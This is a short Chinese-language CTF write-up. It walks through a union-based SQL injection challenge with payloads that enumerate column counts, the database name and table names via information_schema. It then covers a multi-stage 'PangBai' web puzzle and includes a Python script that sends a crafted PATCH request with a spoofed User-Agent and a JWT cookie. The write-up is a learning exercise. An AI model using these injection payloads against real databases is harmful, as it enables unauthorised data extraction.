谢谢皮蛋
做这题之前需要先去学习一些数据库的知识
- 1 order by 2
1可以理解为输入的id,是一个占位符,按第二列排序用来测试列数,如果没有两列则会报错 - -1 union select 1,2
-1同样是占位符,union的作用是将注入语句合并到原始语句中,select 1,2用于从数据库中返回两个常量值1,2 - -1 union select 1,database()
拿到数据库名,接下来查看表名
-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()
全都看一遍,拿到flag
PangBai 过家家(1)
根据提示,在网络里找到下一关的地址
输入查询参数,进入下一关
第三关采用post方法发送请求,先下一个hackbar插件
这里是真不懂有什么逻辑在其中了,第四关wp说将刚才发的请求再重新发一遍,为什么要这么做呢
根据提示将用户代理改为Papa/1.0,进入下一关
同样,我们再发一次请求,得到
import requests
# URL 和 Headers
url = "http://8.147.132.32:36002/?ask=miao"
headers = {
"Host": "8.147.132.32:36002",
"User-Agent": "Papa/1.0",
"Content-Type": "multipart/form-data; boundary=abc",
"Cookie": "token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJsZXZlbCI6NX0.xKi0JkzaQ0wwYyC3ebBpjuypRYvrYFICU5LSRLnWq_0",
}
# 构造 form-data 数据
data = (
"--abc\r\n"
'Content-Disposition: form-data; name="file"; filename="1.zip"\r\n'
"\r\n"
"123\r\n"
"--abc\r\n"
'Content-Disposition: form-data; name="say"\r\n'
"\r\n"
"玛卡巴卡阿卡哇卡米卡玛卡呣\r\n"
"--abc--\r\n"
)
# 发送 PATCH 请求
response = requests.patch(url, headers=headers, data=data)
# 打印响应
print("Status Code:", response.status_code)
print("Response Text:", response.text)
hackbar莫名出了点问题,后面就没做了